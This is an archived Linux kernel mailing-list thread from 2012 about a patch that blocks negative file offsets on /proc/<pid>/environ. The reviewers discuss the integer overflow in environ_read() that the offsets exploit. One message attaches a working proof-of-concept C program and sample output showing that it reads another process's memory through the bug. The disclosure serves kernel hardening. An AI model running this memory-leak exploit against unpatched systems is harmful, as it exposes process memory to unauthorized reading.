* [PATCH] proc: do not allow negative offsets on /proc/<pid>/environ @ 2012-07-22 16:35 Djalal Harouni 2012-07-22 20:00 ` Oleg Nesterov 0 siblings, 1 reply; 5+ messages in thread From: Djalal Harouni @ 2012-07-22 16:35 UTC (permalink / raw) To: linux-kernel, kernel-hardening, Al Viro, Andrew Morton, Vasiliy Kulikov, WANG Cong, Oleg Nesterov, Solar Designer, Kees Cook Cc: Djalal Harouni __mem_open() which is called by both /proc/<pid>/environ and /proc/<pid>/mem ->open() handlers will allow the use of negative offsets. /proc/<pid>/mem has negative offsets but not /proc/<pid>/environ. Allowing negative offsets on /proc/<pid>/environ can turn it to act like /proc/<pid>/mem. A negative offset will pass the fs/read_write.c:lseek_execute() and the environ_read() checks and will point to another VMA. Fix this by moving the 'force FMODE_UNSIGNED_OFFSET flag' to mem_open() to allow negative offsets only on /proc/<pid>/mem. You must be able to ptrace the target to open /proc/<pid>/environ ,so this is not a security issue, but we should not be able to abuse it. Signed-off-by: Djalal Harouni <tixxdz@opendz.org> --- New kernels include mm->env_start in /proc/<pid>/stat To dump .text area: lseek() to 0x00400000 - mm->env_start fs/proc/base.c | 9 ++++++--- 1 files changed, 6 insertions(+), 3 deletions(-) diff --git a/fs/proc/base.c b/fs/proc/base.c index 2772208..9623a18 100644 --- a/fs/proc/base.c +++ b/fs/proc/base.c @@ -695,8 +695,6 @@ static int __mem_open(struct inode *inode, struct file *file, unsigned int mode) mmput(mm); } - /* OK to pass negative loff_t, we can catch out-of-range */ - file->f_mode |= FMODE_UNSIGNED_OFFSET; file->private_data = mm; return 0; @@ -704,7 +702,12 @@ static int __mem_open(struct inode *inode, struct file *file, unsigned int mode) static int mem_open(struct inode *inode, struct file *file) { - return __mem_open(inode, file, PTRACE_MODE_ATTACH); + int ret = __mem_open(inode, file, PTRACE_MODE_ATTACH); + if (!ret) + /* OK to pass negative loff_t, we can catch out-of-range */ + file->f_mode |= FMODE_UNSIGNED_OFFSET; + + return ret; } static ssize_t mem_rw(struct file *file, char __user *buf, -- 1.7.1 ^ permalink raw reply related [flat|nested] 5+ messages in thread
* Re: [PATCH] proc: do not allow negative offsets on /proc/<pid>/environ 2012-07-22 16:35 [PATCH] proc: do not allow negative offsets on /proc/<pid>/environ Djalal Harouni @ 2012-07-22 20:00 ` Oleg Nesterov 2012-07-23 1:04 ` Djalal Harouni 0 siblings, 1 reply; 5+ messages in thread From: Oleg Nesterov @ 2012-07-22 20:00 UTC (permalink / raw) To: Djalal Harouni Cc: linux-kernel, kernel-hardening, Al Viro, Andrew Morton, Vasiliy Kulikov, WANG Cong, Solar Designer, Kees Cook On 07/22, Djalal Harouni wrote: > > __mem_open() which is called by both /proc/<pid>/environ and > /proc/<pid>/mem ->open() handlers will allow the use of negative offsets. > /proc/<pid>/mem has negative offsets but not /proc/<pid>/environ. Probablt the patch makes sense, but I can't understand the changelog... > Allowing negative offsets on /proc/<pid>/environ can turn it to act like > /proc/<pid>/mem. A negative offset will pass the > fs/read_write.c:lseek_execute() and the environ_read() checks and will > point to another VMA. which VMA? environ_read() can only read the memory from [env_start, env_end], and it should check *ppos anyway to ensure it doesn't read something else. > static int mem_open(struct inode *inode, struct file *file) > { > - return __mem_open(inode, file, PTRACE_MODE_ATTACH); > + int ret = __mem_open(inode, file, PTRACE_MODE_ATTACH); > + if (!ret) > + /* OK to pass negative loff_t, we can catch out-of-range */ > + file->f_mode |= FMODE_UNSIGNED_OFFSET; > + > + return ret; I guess you can set FMODE_UNSIGNED_OFFSET unconditionally, it doesn't matter if __mem_open() fails. But I won't insist. Oleg. ^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: [PATCH] proc: do not allow negative offsets on /proc/<pid>/environ 2012-07-22 20:00 ` Oleg Nesterov @ 2012-07-23 1:04 ` Djalal Harouni 2012-07-23 15:49 ` Oleg Nesterov 0 siblings, 1 reply; 5+ messages in thread From: Djalal Harouni @ 2012-07-23 1:04 UTC (permalink / raw) To: Oleg Nesterov Cc: linux-kernel, kernel-hardening, Al Viro, Andrew Morton, Vasiliy Kulikov, WANG Cong, Solar Designer, Kees Cook [-- Attachment #1: Type: text/plain, Size: 3338 bytes --] Hi Oleg, On Sun, Jul 22, 2012 at 10:00:49PM +0200, Oleg Nesterov wrote: > On 07/22, Djalal Harouni wrote: > > > > __mem_open() which is called by both /proc/<pid>/environ and > > /proc/<pid>/mem ->open() handlers will allow the use of negative offsets. > > /proc/<pid>/mem has negative offsets but not /proc/<pid>/environ. > > Probablt the patch makes sense, but I can't understand the changelog... > > > Allowing negative offsets on /proc/<pid>/environ can turn it to act like > > /proc/<pid>/mem. A negative offset will pass the > > fs/read_write.c:lseek_execute() and the environ_read() checks and will > > point to another VMA. > > which VMA? It depends on the offset. Please see below. > environ_read() can only read the memory from [env_start, env_end], and > it should check *ppos anyway to ensure it doesn't read something else. Yes I agree, but currently that's not the case, there are no checks on *ppos. So if you pass a negative offset you will be able to read from an arbitrary address. I'll send another patch tomorrow to add the checks for *ppos. Since negative offsets are allowed we can pass it to lseek(): 1) ->llseek() -> generic_file_llseek() -> generic_file_llseek_size() -> lseek_execute() inside fs/read_write.c:lseek_execute() we pass the two checks and file->f_pos will be updated. 2) ->read() -> environ_read() inside environ_read() there is only a one check: int this_len = mm->env_end - (mm->env_start + src); if (this_len <= 0) break; Here 'src' is 'src = *ppos' the negative offset converted to unsigned long and (mm->env_start + src) can overflow and point to another VMA. int this_len = mm->env_end - (mm->env_start + src) 'this_len' will be positive and we pass that check. I also don't like the truncation of the result to 'int this_len' A quick example to reproduce it: New kernels /proc/<pid>/stat include 'mm->env_start', third number from the end. To read the .text area from 0x00400000: 0x00400000 - (mm->env_start == 140733359794601) = negative_offset $ ./mem_environ /proc/$(pidof cat)/environ 140733359794601 | hexdump -C -v 00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| 00000010 02 00 3e 00 01 00 00 00 a0 17 40 00 00 00 00 00 |..>.......@.....| 00000020 40 00 00 00 00 00 00 00 40 c5 00 00 00 00 00 00 |@.......@.......| ... mem_environ is just a program that calculats the negative offset, open(/proc/<pid>/environ), lseek() and read(). The source is attached, just run this command to test it: $ ./mem_environ /proc/self/environ 0x0 | hexdump -C -v In rare cases it will not work, I don't know why. > > static int mem_open(struct inode *inode, struct file *file) > > { > > - return __mem_open(inode, file, PTRACE_MODE_ATTACH); > > + int ret = __mem_open(inode, file, PTRACE_MODE_ATTACH); > > + if (!ret) > > + /* OK to pass negative loff_t, we can catch out-of-range */ > > + file->f_mode |= FMODE_UNSIGNED_OFFSET; > > + > > + return ret; > > I guess you can set FMODE_UNSIGNED_OFFSET unconditionally, it doesn't > matter if __mem_open() fails. But I won't insist. Sure. > Oleg. > Thanks Oleg. BTW should I resend the patch with a better changelog entry ? I'll also add another patch to check the offsets inside environ_read(). -- tixxdz http://opendz.org [-- Attachment #2: mem_environ.c --] [-- Type: text/x-c, Size: 1765 bytes --] /* * /proc/<pid>/environ like /proc/<pid>/mem * * Author: Djalal Harouni tixxdz opendz.org * License: GPLv2 * * * (mm->env_start + src) will point to your page. * src is the offset * For 64bits: A negative offset. * For 32bits: Did not test, can we wrap ? * */ #define _LARGEFILE64_SOURCE #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> #define SYS_lseek 8 extern char **environ; /* use **environ against a non -fPIC elf */ static inline loff_t get_offset(unsigned long env_addr) { unsigned long load_addr = 0x00400000; return (load_addr - env_addr); } static loff_t kernel_lseek(int fd, loff_t offset) { return syscall(SYS_lseek, fd, offset, SEEK_SET); } static int leak(char *proc_file, unsigned long env_start) { int ret; int i, fd; char buf[4096]; loff_t offset = 0; memset(buf, 0, sizeof(buf)); ret = -1; fd = open(proc_file, O_RDONLY); if (fd == -1) { perror("open"); return ret; } if (env_start) offset = get_offset(env_start); if (!offset) /* really ? */ offset = get_offset((unsigned long)*environ); if (kernel_lseek(fd, offset) == (off_t) -1) { perror("lseek"); return ret; } ret = read(fd, buf, sizeof(buf)); if (ret == -1) { perror("read"); return ret; } close(fd); for (i = 0; i < sizeof(buf); i++) printf("%c", buf[i]); return 0; } int main(int argc, char **argv) { unsigned long env_addr = 0; if (argc < 3) { printf("%s /proc/<pid>/environ env_addr\n" " /proc/<pid>/environ.\n" " env_addr: start of environment\n", argv[0]); return 0; } env_addr = (unsigned long) strtoul(argv[2], NULL, 0); return leak(argv[1], env_addr); } ^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: [PATCH] proc: do not allow negative offsets on /proc/<pid>/environ 2012-07-23 1:04 ` Djalal Harouni @ 2012-07-23 15:49 ` Oleg Nesterov 2012-07-23 16:44 ` Djalal Harouni 0 siblings, 1 reply; 5+ messages in thread From: Oleg Nesterov @ 2012-07-23 15:49 UTC (permalink / raw) To: Djalal Harouni Cc: linux-kernel, kernel-hardening, Al Viro, Andrew Morton, Vasiliy Kulikov, WANG Cong, Solar Designer, Kees Cook Hi Djalal, On 07/23, Djalal Harouni wrote: > > Hi Oleg, > > On Sun, Jul 22, 2012 at 10:00:49PM +0200, Oleg Nesterov wrote: > > > > Probablt the patch makes sense, but I can't understand the changelog... > > > > > Allowing negative offsets on /proc/<pid>/environ can turn it to act like > > > /proc/<pid>/mem. A negative offset will pass the > > > fs/read_write.c:lseek_execute() and the environ_read() checks and will > > > point to another VMA. > > > > which VMA? > It depends on the offset. Please see below. > > > environ_read() can only read the memory from [env_start, env_end], and > > it should check *ppos anyway to ensure it doesn't read something else. > Yes I agree, but currently that's not the case, there are no checks on *ppos. ^^^^^^^^^^^^^^^^^^^ There is, unless I missed something, just it is buggy, no? > So if you pass a negative offset you will be able to read from an arbitrary > address. > > [...snip...] > > inside environ_read() there is only a one check: > > int this_len = mm->env_end - (mm->env_start + src); > > if (this_len <= 0) > break; > > > Here 'src' is 'src = *ppos' the negative offset converted to unsigned long > and (mm->env_start + src) can overflow and point to another VMA. > > int this_len = mm->env_end - (mm->env_start + src) > > 'this_len' will be positive and we pass that check. OK, thanks, but doesn't this mean that this check should be fixed to avoid the overflow, no matter what *ppos is? With or without FMODE_UNSIGNED_OFFSET change. And perhaps it is possible to trigger the overflow even with the positive *ppos, because: > I also don't like the truncation of the result to 'int this_len' Yes. > BTW should I resend the patch with a better changelog entry ? Up to you, but I think this makes sense ;) > I'll also add another patch to check the offsets inside environ_read(). Yes, agreed, but please see above. Please correct me, but afaics this patch should come 1st and fix the bug. FMODE_UNSIGNED_OFFSET change can be considered as a cleanup after that. What do you think? Oleg. ^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: [PATCH] proc: do not allow negative offsets on /proc/<pid>/environ 2012-07-23 15:49 ` Oleg Nesterov @ 2012-07-23 16:44 ` Djalal Harouni 0 siblings, 0 replies; 5+ messages in thread From: Djalal Harouni @ 2012-07-23 16:44 UTC (permalink / raw) To: Oleg Nesterov Cc: linux-kernel, kernel-hardening, Al Viro, Andrew Morton, Vasiliy Kulikov, WANG Cong, Solar Designer, Kees Cook On Mon, Jul 23, 2012 at 05:49:27PM +0200, Oleg Nesterov wrote: > Hi Djalal, > > On 07/23, Djalal Harouni wrote: > > > > Hi Oleg, > > > > On Sun, Jul 22, 2012 at 10:00:49PM +0200, Oleg Nesterov wrote: > > > > > > Probablt the patch makes sense, but I can't understand the changelog... > > > > > > > Allowing negative offsets on /proc/<pid>/environ can turn it to act like > > > > /proc/<pid>/mem. A negative offset will pass the > > > > fs/read_write.c:lseek_execute() and the environ_read() checks and will > > > > point to another VMA. > > > > > > which VMA? > > It depends on the offset. Please see below. > > > > > environ_read() can only read the memory from [env_start, env_end], and > > > it should check *ppos anyway to ensure it doesn't read something else. > > Yes I agree, but currently that's not the case, there are no checks on *ppos. > ^^^^^^^^^^^^^^^^^^^ > There is, unless I missed something, just it is buggy, no? Right. > > So if you pass a negative offset you will be able to read from an arbitrary > > address. > > > > [...snip...] > > > > inside environ_read() there is only a one check: > > > > int this_len = mm->env_end - (mm->env_start + src); > > > > if (this_len <= 0) > > break; > > > > > > Here 'src' is 'src = *ppos' the negative offset converted to unsigned long > > and (mm->env_start + src) can overflow and point to another VMA. > > > > int this_len = mm->env_end - (mm->env_start + src) > > > > 'this_len' will be positive and we pass that check. > > OK, thanks, but doesn't this mean that this check should be fixed > to avoid the overflow, no matter what *ppos is? Yes, we must also fix it and check if we are in the [env_start, env_end] range. > With or without FMODE_UNSIGNED_OFFSET change. And perhaps it is > possible to trigger the overflow even with the positive *ppos, > because: > > > I also don't like the truncation of the result to 'int this_len' > > Yes. > > > BTW should I resend the patch with a better changelog entry ? > > Up to you, but I think this makes sense ;) > > > I'll also add another patch to check the offsets inside environ_read(). > > Yes, agreed, but please see above. > > Please correct me, but afaics this patch should come 1st and fix the bug. > FMODE_UNSIGNED_OFFSET change can be considered as a cleanup after that. > > What do you think? I agree, that makes more sense and we do not hide the *ppos bug. I'll resend the two patches soon (fix and check *ppos + this patch with an updated changelog). Thanks. -- tixxdz http://opendz.org ^ permalink raw reply [flat|nested] 5+ messages in thread
end of thread, other threads:[~2012-07-23 16:39 UTC | newest] Thread overview: 5+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2012-07-22 16:35 [PATCH] proc: do not allow negative offsets on /proc/<pid>/environ Djalal Harouni 2012-07-22 20:00 ` Oleg Nesterov 2012-07-23 1:04 ` Djalal Harouni 2012-07-23 15:49 ` Oleg Nesterov 2012-07-23 16:44 ` Djalal Harouni
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox